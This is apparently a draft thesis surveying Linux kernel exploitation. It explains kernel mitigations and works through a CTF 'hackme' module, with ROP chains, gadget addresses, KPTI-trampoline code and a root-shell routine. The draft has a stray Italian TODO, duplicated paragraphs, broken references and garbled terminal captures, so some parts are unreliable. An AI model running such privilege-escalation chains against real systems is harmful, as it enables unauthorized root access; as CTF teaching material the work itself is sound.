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A survey of kernel-exploitation techniques

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Chapter 1

Introduction

Chapter 2

Kernel

We start our research about *kernel exploitation* with an clear purpose: explaining what the kernel is and what exploitation signifies. When we talk about a computer, we generally think of a set of physical devices (processor, motherboard, memory, hard drive, keyboard, etc.) that let us perform simple tasks such as writing, sending an e-mail, watching a movie, surfing the Web and so on. The kernel has complete control over everything in the system. It is the *portion of the operating system code* that is always resident in memory, and facilitates interactions between hardware and software components. Typically the kernel is responsible for memory management, process and task management and disk management. Between these bits of hardware and applications we work on every day there is a layer of software that makes it possible all the hardware work efficiently and create an infrastructure which the applications can work. This layer of software is the operating system, and its core is the kernel.

In modern operating systems, the kernel acts for the things we normally assume: virtual memory, hard-drive access, input/output handling, and so forth. Generally larger than most user applications, the kernel is a complex and charming piece of code usually written in a collection of assembly, the low level machine language, and C. Moreover, the kernel employs some underlying architecture properties to separate itself from the rest of the running programs. In fact, most *Instruction Set Architectures* [SE93] supply at least two modes of execution: a *privileged mode*, where the machine-level instructions are completely accessible, and an *unprivileged/user mode*, in which only a subset of instructions are accessible. Furthermore, the kernel protects itself from user applications by realizing separation at the software level. When we have to set up the virtual memory subsystem, the kernel makes it possible to access the address space (i.e., the range of virtual memory addresses) of any process, and no process can directly refer to the kernel memory.

Moreover, the kernel protects itself from user applications by implementing separation at the software level. When it comes to setting up the virtual memory subsystem, the kernel ensures that it can access the address space (i.e., the range of virtual memory addresses) of any process and that no process can directly reference the kernel memory. We will call the memory visible only to the kernel as *kernel-land* memory and the memory a user process sees as *user-land* memory. The term “user-land” refers to all code that runs outside the operating system’s kernel. User-land usually refers to the various programs and libraries that the operating system uses to interact with the kernel. Code executing in kernel-land runs with full privileges and can access any valid memory address on the system, while code executing in user-land is subject to all limits as describe above. Code executing in kernel land runs with full privileges and can access any valid memory address on the system, whereas code executing in user-land is subject to all the limitations we described earlier.

Chapter 3

Art of Exploitation

There are various ways an attacker can gain root privileges, the most excitement is generally performed with the development of an “*exploit*”. The meaning behind *exploitation* is really simple: software has bugs, and these make the software work not correctly, or otherwise perform incorrectly a task that had to perform in an appropriate way. And all this means an advantage for the *attacker*. Not every bug is exploitable; we refer to those that are as *vulnerabilities*. Analyzing an application to establish its vulnerability is called *auditing*. It entails:

- *Reading* the source code of the application, if available;
- *Reversing* the application binary; that is, reading the disassembly of the compiled code;
- *Fuzzing* the application interface; that is feeding the application random or pattern-based, automatically generated input.

3.1 Difference between Kernel-land and Userl-land

With the large diffusion of security patches and the contemporary reduction of user-land vulnerabilities, the attention of exploits writers has gone toward the core of the operating system. However, writing a *kernel-land exploit* presents various extra challenges if compared to a user-land exploit:

- The kernel is the only piece of software that is strictly for the system. As long as the kernel works correctly, there is no incorrigible situation.
This explains why user-land brute forcing, for example, is a feasibly choice: the only

real worry we have to confront when we repeatedly crash our victim application is the noise we might create in the logs. When it comes to the kernel, this hypothesis is not true anymore: an error at the kernel level leaves the system in an *inconsistent state*, and it is usually required to take back the machine to its appropriate functioning. If the error happens inside one of the sensible areas of the kernel, the operating system will just shut down, a condition known as panic [Che21].

- The kernel is protected from user-land via both software and hardware. Finding information about the kernel is a much more difficult job. At the same time, the number of variables that are no more under the attacker’s control intensifies in an exponentially way. For example, let’s consider the *memory allocator*. In a user-land exploit, the allocator is inside *the process*, generally connected through a shared system library. Your purpose is its only consumer and its only *affecter*. On the other side, all the processes on the system may concern the behavior and the status of a kernel memory allocator.
- The kernel is a large and complex system. The dimension of the kernel is substantive, on the order of millions of lines of source code: The kernel has to control all the

Figure 3.1: Number of lines of Unix kernel code from 2004 to 2020. While the number of developers has decreased, the growth of the kernel code is constant.




Figure 3.2: Growth of Codebase Kernel Linux

hardware on the computer and most of the lower-level software abstractions (virtual memory, file systems, IPC facilities, etc.). This implies many hierarchical, interconnected subsystems that the attacker may have to deeply understand to successfully trigger and exploit a specific vulnerability. This characteristic can also become an

advantage for the exploit developer, as a complex system is also less likely to be bug-free.

TO DO...

qua ci starebbe un esempio di exploit banale, facendo i paralleli con quello che succede in un exploit user-land

Chapter 4

Analysis Environment

4.1 Debugging

In user space we have the support of the kernel so we could easily stop processes and use gdb to inspect their behavior. GDB [SPS⁺88]) allows you to see what is going on *inside* another program while it executes – or what another program was doing at the moment it crashed.

4.1.1 GDB

GDB can do four main kinds of things to help you catch bugs in the act:

- Start your program, specifying anything that might affect its behavior.
- Make your program stop on specified conditions.
- Examine what has happened, when your program has stopped.
- Change things in your program, so you can experiment with correcting the effects of one bug and go on to learn about another.

Using gdb allows us to debug the kernel in the familiar and powerful debugging interface of gdb. In order to debug a kernel we have two options:

- A serial connection and another pc;
- Use a Hypervisor.

Given the lack of convenience of the first option, a hypervisor is preferred. Among them we have *QEMU* [Bel05], a hosted hypervisor, that is, running within a traditional operating system, just like any other program. The Linux kernel provides a set of tools and debug options useful for investigating abnormal behavior.

4.1.2 Running QEMU

As said previously, to debug the kernel we use the QEMU hypervisor. Specifically, there are some options needed in kernel analysis:

- `-kernel "path"`, the path to kernel image to run;
- `-initrd "path"`, path to the initial *ram disk*. In short, a RAM disk is a filesystem dynamically placed in memory at boot time, containing drivers and kernel modules needed to get your real filesystem mounted and to start the first processes to get your whole system running as expected;
- `-gdb dev`, wait for gdb connection on device *dev*. Typical connections will likely be TCP-based, but also UDP, pseudo TTY, or even stdio are reasonable use case;
- `-s`, shorthand for `-gdb tcp::1234`, i.e. open a gdbserver on TCP port 1234;
- `-S`, freeze the CPU on startup;
- `-cpu model`, select CPU model. Here we can add `+smep` and `+smep` for *SMEP* Subsection 5.2.1 and *SMAP* Subsection 5.2.2 mitigation features;
- `-m [size=]megs`, set virtual RAM size to *megs* megabytes;
- `-append`, specifies additional boot options. This is also where we can enable/disable mitigation features.

These options are essential for analyzing the kernel. But QEMU supports other options (indicate the documentation site) which may be useful for running the system and to help the user in the analysis.

4.2 Kernel configuration

When you want to analyze the kernel it is not recommended to just run it. The kernel developers have integrated several debugging features into the kernel itself to analyze it that can be enabled. So to enable these features you need to compile and install it.

When building a kernel for debugging with gdb, we would advise using the following configuration options to make debugging a bit more pleasant.

Except where specified otherwise, all of these options are found under the “*kernel hacking*” menu in whatever kernel configuration tool you prefer. Note that some of these options are not supported by all architectures and even if they are added, they may be not considered for the building.

- `CONFIG_GDB_SCRIPTS` adds links to the GDB helper scripts. We find it particularly useful when debugging a kernel module, when we need to inspect the kernel log buffer or VFS mounts.
- `CONFIG_KGDB` enables the built in kernel debugger, which allows for remote debugging. Technically this option is the only one that is strictly required, but attempting to debug without debug symbols will make debugging much harder.
- `CONFIG_FRAME_POINTER` inserts code to into the compiled executable which saves the frame information in registers or on the stack at different points.
- `CONFIG_DEBUG_KERNEL` makes other debugging options available.
- `CONFIG_DEBUG_SLAB` turns on several types of checks in the kernel memory allocation functions; with these checks enabled, it is possible to detect a number of memory overrun and missing initialization errors.
- `CONFIG_DEBUG_PAGEALLOC` where full pages are removed from the kernel address space when freed. This option can slow things down significantly, but it can also quickly point out certain kinds of memory corruption errors.
- `CONFIG_DEBUG_SPINLOCK` allows to the kernel to catch operations on uninitialized spinlocks and various other errors.
- `CONFIG_INIT_DEBUG` where items marked with `__init` (or `__initdata`) are discarded after system initialization or module load time. This option enables checks for code that attempts to access initialization-time memory after initialization is complete.
- `CONFIG_DEBUG_INFO` causes the kernel to be built with full debugging information included. Including debug information in the kernel and kernel modules will make both the image and the modules larger in size.

These options are the most used for kernel analysis [JC05]. If you do not want to use menuconfig is possible to set configuration options via command line using the following `$./scripts/config -e CONFIG_<your option>`. Once you have enabled all these options, you need to build the kernel. This is done from the command line `$ make -j$(nproc)`

Before starting the VM and attempting to attach gdb, set up gdb to load the Linux helper scripts by adding `add-auto-load-safe-path` to your `~/.gdbinit`.

Chapter 5

Linux kernel mitigation features

In this chapter, we will see with which techniques the kernel defends itself from possible attacks. From those similar to userland [Section 5.1](#) to specific ones tailored to the kernel [Section 5.2](#)

5.1 Mitigation features like Userland

Just like mitigation features such as ASLR, stack canaries, PIE, etc. used by userland programs, kernel also have their own set of mitigation features. Below are some of the popular and notable Linux kernel mitigation features.

5.1.1 Kernel stack canary

: Stack canaries are a mitigation targeted at stack-based buffer overflow attacks. It works by exploiting one of the limitations of these kind of attacks, namely, that the attacker must overwrite all the bytes between the overflowed buffer and the control data (i.e., saved registers and the return address). The idea is to put a value—the canary—between the local variables and the control data of each function stack frame. The attacker, thus, has to overwrite the canary before she can overwrite the control data. If overwriting the canary is impossible or can be detected, the attack is blocked. It is enabled in the kernel at compile time and cannot be disabled.

5.1.2 Kernel address space layout randomization

Also like ASLR on userland, it is a computer security technique involved in preventing exploitation of memory corruption vulnerabilities. In order to prevent an attacker from reliably jumping to, for example, a particular exploited function in memory, ASLR randomly arranges the address space positions of key data areas of a process, including the base of the executable and the positions of the stack, heap and libraries. With kernel address space layout randomization (KASLR), the kernel is loaded to a random location in memory. Loading the kernel to a random location can protect against attacks that rely on knowledge of the kernel addresses. The KASLR feature is enabled by default.

5.2 Powerful linux mitigation features

In Subsection 5.2.1 we discuss a mitigation present on the Intel i386 processor [Cor86].

The Subsection 5.2.2 discusses a mitigation characteristic of some CPU implementations such as the Intel Broadwell [NKD⁺15] microarchitecture.

In Subsection 5.2.3 we discuss mitigation to address a vulnerability that primarily affects Intel's x86 CPUs and improves kernel hardening against attempts to bypass the randomization of the kernel address space layout.

The mitigation in Subsection 5.2.4 was introduced by the Linux PaX [NKD⁺15] project which first coined the term "ASLR" and published the first project and implementation of ASLR in July 2001 as a patch for the Linux kernel. It is seen as a full implementation, also providing a kernel stack randomization patch since October 2002.

5.2.1 Supervisor mode execution protection (SMEP)

The processor introduces a new mechanism that provides next level of system protection by blocking malicious software attacks from user mode code when the system is running in the highest privilege level. This feature marks all the userland pages in the page table as non-executable when the process is in kernel-mode. In the kernel, this is enabled by setting the 20th bit of Control Register CR4.

5.2.2 Supervisor Mode Access Prevention

Supervisor Mode Access Prevention (SMAP) allows supervisor mode programs to optionally set user-space memory mappings so that access to those mappings from supervisor

mode will cause a trap. This makes it harder for malicious programs to “trick” the kernel into using instructions or data from a user-space program. Complementing SMEP, this feature marks all the userland pages in the page table as non-accessible when the process is in kernel-mode, which means they cannot be read or written as well. In the kernel, this is enabled by setting the 21st bit of Control Register CR4.

5.2.3 Kernel page-table isolation

Kernel page-table isolation (KPTI or PTI, previously called KAISER) is a Linux kernel feature improves kernel hardening against attempts to bypass kernel address space layout randomization (KASLR). It works by better isolating user space and kernel space memory. This mitigation was added to avoid the *Meltdown* [LSG⁺18]. When this feature is active, the kernel separates user-space and kernel-space page tables entirely, instead of using just one set of page tables that contains both user-space and kernel-space addresses. One set of page tables includes both kernel-space and user-space addresses same as before, but it is only used when the system is running in kernel mode. The second set of page tables for use in user mode contains a copy of user-space and a minimal set of kernel-space addresses.

5.2.4 Function Granular Kernel Address Space Layout Randomization

Probably is the strongest linux kernel mitigation feature. This patch set is an implementation of finer grained kernel address space randomization. It rearranges your kernel code at load time on a per-function level granularity, with only around a second added to boot time. KASLR was merged into the kernel with the objective of increasing the difficulty of code reuse attacks. Code reuse attacks reused existing code snippets to get around existing memory protections. They exploit software bugs which expose addresses of useful code snippets to control the flow of execution for their own nefarious purposes. KASLR moves the entire kernel code text as a unit at boot time in order to make addresses less predictable. The order of the code within the segment is unchanged - only the base address is shifted. There are a few shortcomings to this algorithm.

1. Low Entropy - there are only so many locations the kernel can fit in. This means an attacker could guess without too much trouble.
2. Knowledge of a single address can reveal the offset of the base address, exposing all other locations for a published/known kernel image.
3. Info leaks abound.

Finer grained ASLR has been proposed as a way to make ASLR more resistant to info leaks. It is not a new concept at all, and there are many variations possible. Function reordering is an implementation of finer grained ASLR which randomizes the layout of an address space on a function level granularity.

Chapter 6

Intensification of mitigation features

In this chapter, we will show how mitigations make it harder to exploit root privileges. In particular, we will explore the resolution of a *CTF* [hCT20], starting from an environment without mitigations up to adding all the mitigations to solve the real CTF. To do this we will use a technique called *ROP* [RBSS12] with a module having an extremely trivial and standard bug.

6.1 Setup environment

Our task is to exploit a vulnerable custom kernel module that is installed into the kernel on boot. We will use the setup seen for the kernel in the section Subsection ?? and the one for QEMU Subsection 4.1.2. Since it is a CTF, where it is usual to use a flag to prove that you are getting the admin mode, you need to add some options in the QEMU setup. To do this, the command is also added to the QEMU settings: `-hdb flag.txt` that it puts `flag.txt` into `/dev/sda` instead of leaving the `flag.txt` as a normal file in the system. Another important step is to find gadgets inside the kernel to be able to perform a rop chain. This is possible with ROPgadget [Sal16], which searches for all possible gadgets within the kernel. Since this type of operation produces an enormous amount of data, it is preferable to save everything on a file that can always be consulted for the following steps. To perform the exploit, the executable file containing the necessary steps for the exploit must be inserted into the file system.

6.1.1 Analyzing the kernel module

The module contains 6 methods. They allow you to communicate with this module by opening `/dev/hackme` and reading and writing to it.

```
ssize_t __fastcall hackme_write(file *f, const char *data, size_t size, loff_t
    *off)
{
    //...
    int tmp[32];
    //...
    if ( _size > 0x1000 )
    {
        _warn_printk("Buffer overflow detected (%d < %lu)!\n", 4096LL, _size);
        BUG();
    }
    _check_object_size(hackme_buf, _size, 0LL);
    if ( copy_from_user(hackme_buf, data, v5) )
        return -14LL;
    _memcpy(tmp, hackme_buf);
    //...
}

ssize_t __fastcall hackme_read(file *f, char *data, size_t size, loff_t *off)
{
    //...
    int tmp[32];
    //...
    _memcpy(hackme_buf, tmp);
    if ( _size > 0x1000 )
    {
        _warn_printk("Buffer overflow detected (%d < %lu)!\n", 4096LL, _size);
        BUG();
    }
    _check_object_size(hackme_buf, _size, 1LL);
    v6 = copy_to_user(data, hackme_buf, _size) == 0;
    //...
}
```

The bug, the same in both methods, reads/writes to a buffer stack of length 0x80 bytes, but only warns of a buffer overflow if the size is greater than 0x1000. Using this bug, we can freely read/write to the kernel stack.

6.2 Stack cookies

Now, let's see what we can do with the above primitives to gain root privileges, starting with one possible mitigation feature: only cookies stack.

The idea is to put the piece of code which we want the program's flow to jump into in the userland itself. After that, we simply overwrite the return address of the function that is being called in the kernel with that address. Because the vulnerable function is a kernel function, our code - even though being in the userland - is executed under kernel mode. In this way, we have already achieved arbitrary code execution. For this technique to work, we will remove most of the mitigation features in the QEMU run the script by removing `+smep`, `+smap`, `kpti=1`, `kaslr`, and adding `nopti`, `nokaslr`.

6.2.1 Step by step to exploit

First of all let's open the `hackme` function with the `open` method. It returns a file descriptor which will be used later in the next steps. Using a `read` function, we are going to read the stack. The `buffer` in the stack itself is 0x80 bytes long and the stack cookie is immediately after it. Therefore, if we read the data in an unsigned long array (of which each element is 8 bytes), the cookie will be at offset 16. To overwrite the return address, the same procedure is carried out for leaking, overwriting the cookie with ours. Note, however, that after the cookie there are 3 registers `rbx`, `r12`, and `rbp` (different in the userland because the only `rbp` appears). This involves inserting three dummy values after our cookie and inserting the return address we want our program to return to, which corresponds to the function we will create in the user area to get root privileges.

6.2.2 Getting root privileges

Our goal is to get root privileges on the system. This can be done through two functions that already reside in the same kernel-space code: `commit_creds()` and `prepare_kernel_cred()`. Since KASLR is disabled, the addresses where the functions reside are constant at every start. So we can get those addresses by reading the `/proc/kallsyms` file with the following terminal commands:

```
cat /proc/kallsyms | grep commit_creds
-> ffffffff814c6410 T commit_creds
cat /proc/kallsyms | grep prepare_kernel_cred
-> ffffffff814c67f0 T prepare_kernel_cred}
```

Then to get root privileges you need to write a code where the two functions are called consecutively using the return value of one as a parameter of the other. At this point, we need to recall an instruction that allows you to return to userland. This can be done with *iretq* or *sysretq*. With *iretq* it is much simpler as you need to configure the stack with 5 user area registry values in this order: RIP | CS | RFLAGS | SP | SS. For the RIP, we can set the address of the function that allows you to open a shell, while for the others you need to enter values that return to a state before entering kernel mode. The best solution, therefore, is to save the state of the registers before entering kernel mode and reload them after obtaining root privileges.

```
void save_state(){
    __asm__(
        ".intel_syntax noprefix;"
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
        ".att_syntax;"
    );
    puts("[*] Saved state");
}
```

Before *iretq*, it is appropriate to invoke the *swapgs* instruction because *syscall* does not change RSP to point to the kernel stack (and it does not save RSP user space anywhere). So some kind of thread-local (or core-local) storage is needed so that each core can get the correct kernel stack pointer for the task running on that core. A possible code to gain root privileges is:

```
unsigned long user_rip = (unsigned long)get_shell;
void escalate_privs(void){
    __asm__(
        ".intel_syntax noprefix;"
        "movabs rax, 0xffffffff814c67f0;" //prepare_kernel_cred
        "xor rdi, rdi;"
        "call rax; mov rdi, rax;"
        "movabs rax, 0xffffffff814c6410;" //commit_creds
        "call rax;"
        "swapgs;"
        "mov r15, user_ss;"
        "push r15;"
        "mov r15, user_sp;"
        "push r15;"
    );
}
```

```
    "mov r15, user_rflags;"
    "push r15;"
    "mov r15, user_cs;"
    "push r15;"
    "mov r15, user_rip;"
    "push r15;"
    "iretq;"
    ".att_syntax;"
);
}
```

6.3 Adding SMEP

In Subsection 6.2.2 we used our piece of code which is saved in the userspace. By activating SMEP, as Subsection 5.2.2, user pages are marked as not executable while in kernel mode. There are two possible scenarios:

- Write an arbitrary amount of data to the kernel stack.
- Overwrite up to the return address on the kernel stack.

6.3.1 Overwrite CR4

The 20th bit of the CR4 control register is responsible for enabling or disabling SMEP. In kernel mode, we have the power to modify the contents of the control register. To do this there is a special instruction `mov cr4, rdi` called by a function called `native_write_cr4()`. So to be able to bypass SMEP you try to execute ROP inside this function. As for the `commit_creds()` and `prepare_kernel_cred()` functions, we find the address by reading `/proc/kallsyms`. To build the ROP chain we use the same approach used in userland, but instead of going back to our userland code, we go back into the `native_write_cr4(value)` function, insert the value we need and then go back to the code to get the privileges. By reading the documentation of the CR4 bit, the developers, knowing of this possible solution to bypass SMEP, have blocked the possibility of overwriting that bit. Each time they are overwritten they are reset with the kernel boot settings. So the first scenario cannot be undertaken to obtain privileges.

6.3.2 Second scenario

In the second scenario, however, we will no longer exploit our userland code but only the ROP technique. The plan is quite simple:

- ROP into `prepare_kernel_cred(0)`, already seen.
- ROP into `commit_creds()`, with the return value from step 1 as the parameter.
- ROP into `swapgs; ret`.
- ROP into `iretq` with the stack setup as `RIP — CS — RFLAGS — SP — SS`, already seen.

The ROP chain is trivial, but the gadgets found in the kernel cannot always be exploited, so many attempts must be made to find the right gadget. Some instructions might seem strange, but sometimes only some are really usable and executable. For example, to move the return value in step 1 (stored in `rax`) to `rdi` to move to `commit_creds()`, the only instructions are:

```
unsigned long pop_rdx_ret = 0xffffffff81007616; // pop rdx; ret
unsigned long cmp_rdx_jne_pop2_ret = 0xffffffff81964cc4; // cmp rdx, 8; jne
    0xffffffff81964cbb; pop rbx; pop rbp; ret
unsigned long mov_rdi_rax_jne_pop2_ret = 0xffffffff8166fea3; // mov rdi, rax;
    jne 0xffffffff8166fe7a; pop rbx; pop rbp; ret
```

They might sound a little bizarre, but all the ordinary gadgets tried are not executable. This is not always the case, it depends on the kernel in use, in fact very important at this stage is to try all possible solutions. The above code, entering 8 in `rdx` ignores the `jne` instruction, allows you to write the `rax` value in `rdi` that will be used for the `commit_creds` function(`prepare_kernel_cred(0)`) While `ROPgadget` can find `swapgs`, it does not find `iretq`, so we use `objdump` [Wea] to find the right address and be able to write the full ROP chain.

```
void get_shell(void){
    puts("[*] Returned to userland");
    if (getuid() == 0){
        printf("[*] UID: %d, got root!\n", getuid());
        system("/bin/sh");
    } else {
        printf("[!] UID: %d, did not get root\n", getuid());
        exit(-1);
    }
}
```

```

}
unsigned long user_rip = (unsigned long)get_shell;

unsigned long pop_rdi_ret = 0xffffffff81006370;
unsigned long pop_rdx_ret = 0xffffffff81007616; // pop rdx ; ret
unsigned long cmp_rdx_jne_pop2_ret = 0xffffffff81964cc4; // cmp rdx, 8 ; jne
    0xffffffff81964cbb ; pop rbx ; pop rbp ; ret
unsigned long mov_rdi_rax_jne_pop2_ret = 0xffffffff8166fea3; // mov rdi, rax ;
    jne 0xffffffff8166fe7a ; pop rbx ; pop rbp ; ret
unsigned long commit_creds = 0xffffffff814c6410;
unsigned long prepare_kernel_cred = 0xffffffff814c67f0;
unsigned long swapgs_pop1_ret = 0xffffffff8100a55f; // swapgs ; pop rbp ; ret
unsigned long iretq = 0xffffffff8100c0d9;

void overflow(void){
    unsigned n = 50;
    unsigned long payload[n];
    unsigned off = 16;
    payload[off++] = cookie;
    payload[off++] = 0x0; // rbx
    payload[off++] = 0x0; // r12
    payload[off++] = 0x0; // rbp
    payload[off++] = pop_rdi_ret; // return address
    payload[off++] = 0x0; // rdi <- 0
    payload[off++] = prepare_kernel_cred; // prepare_kernel_cred(0)
    payload[off++] = pop_rdx_ret;
    payload[off++] = 0x8; // rdx <- 8
    payload[off++] = cmp_rdx_jne_pop2_ret; // make sure JNE does not branch
    payload[off++] = 0x0; // dummy rbx
    payload[off++] = 0x0; // dummy rbp
    payload[off++] = mov_rdi_rax_jne_pop2_ret; // rdi <- rax
    payload[off++] = 0x0; // dummy rbx
    payload[off++] = 0x0; // dummy rbp
    payload[off++] = commit_creds; // commit_creds(prepare_kernel_cred(0))
    payload[off++] = swapgs_pop1_ret; // swapgs
    payload[off++] = 0x0; // dummy rbp
    payload[off++] = iretq; // iretq frame
    payload[off++] = user_rip;
    .....
}

```

6.4 Adding KPTI

As mentioned in Subsection 5.2.3 the user-space and kernel-space page tables are separate. In fact, in user mode, a page set includes user-space page tables and only a few kernel-space addresses. There are several ways to bypass this mitigation, but the one we are going to look at is called a *trampoline*. Logically if a system call returns normally there must be a piece of code in the kernel that swaps the page tables to the userland, so we will try to reuse that code for our purpose. This piece of code is called a trampoline and swaps the page tables, swaps, and iretq.

6.4.1 Tweaking the ROP chain

The piece of code resides in a function called `swaps_restore_regs_and_return_to_usermode()` which we always find with `/proc/kallsyms`.

| | | |
|-------------------------------------|-------------------------------------|--|
| <code>.text:FFFFFFFF81200F10</code> | <code>pop</code> | <code>r15</code> |
| <code>...</code> | | |
| <code>.text:FFFFFFFF81200F26</code> | <code>mov</code> | <code>rdi, rsp</code> |
| <code>.text:FFFFFFFF81200F29</code> | <code>mov</code> | <code>rsp, qword ptr gs:unk_6004</code> |
| <code>.text:FFFFFFFF81200F32</code> | <code>push</code> | <code>qword ptr [rdi+30h]</code> |
| <code>.text:FFFFFFFF81200F35</code> | <code>push</code> | <code>qword ptr [rdi+28h]</code> |
| <code>.text:FFFFFFFF81200F38</code> | <code>push</code> | <code>qword ptr [rdi+20h]</code> |
| <code>.text:FFFFFFFF81200F3B</code> | <code>push</code> | <code>qword ptr [rdi+18h]</code> |
| <code>.text:FFFFFFFF81200F3E</code> | <code>push</code> | <code>qword ptr [rdi+10h]</code> |
| <code>.text:FFFFFFFF81200F41</code> | <code>push</code> | <code>qword ptr [rdi]</code> |
| <code>.text:FFFFFFFF81200F43</code> | <code>push</code> | <code>rax</code> |
| <code>.text:FFFFFFFF81200F44</code> | <code>jmp</code> | <code>short loc_FFFFFFFFF81200F89</code> |
| <code>...</code> | | |
| <code>.text:FFFFFFFF81200F89</code> | <code>loc_FFFFFFFFF81200F89:</code> | |
| <code>.text:FFFFFFFF81200F89</code> | <code>pop</code> | <code>rax</code> |
| <code>.text:FFFFFFFF81200F8A</code> | <code>pop</code> | <code>rdi</code> |
| <code>.text:FFFFFFFF81200F8B</code> | <code>call</code> | <code>cs:off_FFFFFFFFF82040088</code> |
| <code>.text:FFFFFFFF81200F91</code> | <code>jmp</code> | <code>cs:off_FFFFFFFFF82040080</code> |

Up to the address `FFFFFFFF81200F26` the function makes a series of `pop` that free the stack, then you get to the part that swaps the tables of the page. We will have two extra `pop` at the beginning, then we will add two dummy values, and we will modify the final part of our ROP chain from `SWAPGS|IRETQ|RIP|CS|RFLAGS|SP|SS` to `KPTI_trampoline|dummy RAX|dummy RDI|RIP|CS|RFLAGS|SP|SS`.

```
void overflow(void){
    // ...
    payload[off++] = commit_creds; // commit_creds(prepare_kernel_cred(0))
    payload[off++] = kpti_trampoline; //
        swaps_restore_regs_and_return_to_usermode + 22
    payload[off++] = 0x0; // dummy rax
    payload[off++] = 0x0; // dummy rdi
    payload[off++] = user_rip;
    payload[off++] = user_cs;
    payload[off++] = user_rflags;
    payload[off++] = user_sp;
    payload[off++] = user_ss;
    // ...
}
```

This solution can be used regardless of whether KPTI is enabled or not. So, even if different from the one seen in Subsection 6.3.2, it can be used to bypass the SMEP.

6.5 Adding SMAP

This feature marks all the userland pages in the page table as non-accessible when the process is in kernel-mode, which means they cannot be read or written. In the kernel, this is enabled by setting the 21st bit of Control Register CR4. If we consider Subsection 6.3.1, the idea of having the entire ROP chain in the kernel stack also works to bypass SMAP. The pivoting technique seen in Subsection 6.3.2 is not effective because the stack push and pop operations require read and write access and SMAP does not allow this. The primitives of writing and reading from the stack seen so far do not allow for a successful exploit. So we need more primitives.

6.6 Adding KASLR and FG-KASLR

With KASLR active, as ASLR in user-land, the base address on which the kernel image is loaded is randomized each time the system is booted. To overcome this problem in the user-land we leak an address in the section, we calculate the base address of the section from it and then all the other addresses will only be moved from there because the only randomized thing is the base address, while the offset remains unchanged. Theoretically, this should be the same for KASLR, but booting the system several times and reading */proc/kallsyms* shows that most of the symbols are randomized by themselves, without having a constant offset like in user-land. This is due to FG-KASRL reorganizing the

kernel code at load time on a per-function level. In theory, if everything in the kernel is completely randomized, it will be nearly impossible for us to collect useful gadgets from the kernel image. But such mitigation functionality still suffers from weaknesses and thus a successful exploit is still possible.

6.6.1 Gathering useful gadgets

This mitigation not being perfect presents regions within the code that are never randomized. This differs from kernel to kernel. For example, here are several functions that are never randomized:

```
/ # grep __x86_retpoline_r15 /proc/kallsyms
ffffffffbce00dc6 T __x86_retpoline_r15
/ # grep _text /proc/kallsyms | head -1
ffffffffbca00000 T _text
/ # grep swapgs_restore_regs_and_return_to_usermode /proc/kallsyms
ffffffffbcc00f10 T swapgs_restore_regs_and_return_to_usermode
/ # grep ksymtab /proc/kallsyms | head -1
ffffffffbd985198 R __start__ksymtab

/ # grep __x86_retpoline_r15 /proc/kallsyms
ffffffff8ea00dc6 T __x86_retpoline_r15
/ # grep _text /proc/kallsyms | head -1
ffffffff8e600000 T _text
/ # grep swapgs_restore_regs_and_return_to_usermode /proc/kallsyms
ffffffff8e800f10 T swapgs_restore_regs_and_return_to_usermode
/ # grep ksymtab /proc/kallsyms | head -1
ffffffff8f585198 R __start__ksymtab

/ # grep __x86_retpoline_r15 /proc/kallsyms
fffffff8aa00dc6 T __x86_retpoline_r15
/ # grep _text /proc/kallsyms | head -1
fffffff8a9c00000 T _text
/ # grep swapgs_restore_regs_and_return_to_usermode /proc/kallsyms
fffffff8a9e00f10 T swapgs_restore_regs_and_return_to_usermode
/ # grep ksymtab /proc/kallsyms | head -1
fffffff8aab85198 R __start__ksymtab
```

`__x86_retpoline_r15`, `swapgs_restore_regs_and_return_to_usermode`, `ksymtab` are never randomized with respect to `_text`, and in particular both `commit_creds` and `prepare_kernel_cred` keep the same offset inside `ksymtab`. To find the base image instead, you need to inspect

```

enz93@ubuntu: ~/Desktop/thesis
ffffffffffc324440 b hackme_buf [hackme]
/ # dd if=/dev/hackme of=- bs=320 count=1
c
1+0 records in
1+0 records out
320 bytes (320B) copied, 0.096142 seconds, 3.3KB/s
/ # c
sh: c: not found
/ # grep __x86_retpoline_r15 /proc/kallsyms
ffffffffffa000dc6 T __x86_retpoline_r15
ffffffffffa0b6140 r __ksymtab__x86_retpoline_r15
ffffffffffa0bb1ca9 r __kstrtab__x86_retpoline_r15
/ # grep _text /proc/kallsyms | head -1
ffffffffffa0c00000 T _text
/ # grep _text /proc/kallsyms | head -1
ffffffffffa0c00000 T _text
/ # grep _text /proc/kallsyms | head -1
ffffffffffa0c00000 T _text
/ # grep swags_restore_regs_and_return_to_usermode /proc/kallsyms
ffffffffffa0e0f10 T swags_restore_regs_and_return_to_usermode
/ # grep ksyntab /proc/kallsyms | head -1
ffffffffffa0b5198 R __start__ksyntab
/ # dd if=/dev/hackme of=- bs=320 count=1
64
65 / # grep __x86_retpoline_r15 /proc/kallsyms
66 fffffffffffa000dc6 T __x86_retpoline_r15
67 / # grep _text /proc/kallsyms | head -1
68 fffffffffffa0c00000 T _text
69 / # grep swags_restore_regs_and_return_to_usermode /proc/kallsyms
70 fffffffffffa0e0f10 T swags_restore_regs_and_return_to_usermode
71 / # grep ksyntab /proc/kallsyms | head -1
72 fffffffffffa0b5198 R __start__ksyntab
73
74 / # grep __x86_retpoline_r15 /proc/kallsyms
75 fffffffffffa000dc6 T __x86_retpoline_r15
76 / # grep _text /proc/kallsyms | head -1
77 fffffffffffa0c00000 T _text
78 / # grep swags_restore_regs_and_return_to_usermode /proc/kallsyms
79 fffffffffffa0e0f10 T swags_restore_regs_and_return_to_usermode
80 / # grep ksyntab /proc/kallsyms | head -1
81 fffffffffffa0b5198 R __start__ksyntab
82
83

```

```

enz93@ubuntu: ~/Desktop/thesis
0xffffbba801c7ea0|+0x0098: 0xffffbba801c7ed8 -> 0xffffb
b8a801c7f20 -> 0xffffbba801c7f30 -> 0xffffbba801c7f48
-> 0x0000000000000000 -> 0x0000000000000000 -> $rbp
0xffffbba801c7ea8|+0x00a0: 0xffffffffffa0350a2f -> 0x077ee
48540c48949 -> 0x077ee48949
0xffffbba801c7eb0|+0x00a8: 0xffff931e86881700 -> 0x000000
0000000000000000 -> 0x0000000000000000
0xffffbba801c7eb8|+0x00b0: 0xffff931e86881700 -> 0x000000
0000000000000000 -> 0x0000000000000000
0xffffbba801c7ec0|+0x00b8: 0x00000000001870020 -> 0x000000
0000000000000000 -> 0x0000000000000000
0xffffbba801c7ec8|+0x00c0: 0x00000000000000140 -> 0x000000
0000000000000000 -> 0x0000000000000000
0xffffbba801c7ed0|+0x00c8: 0x0000000000000000 -> 0x000000
0000000000000000 -> 0x0000000000000000
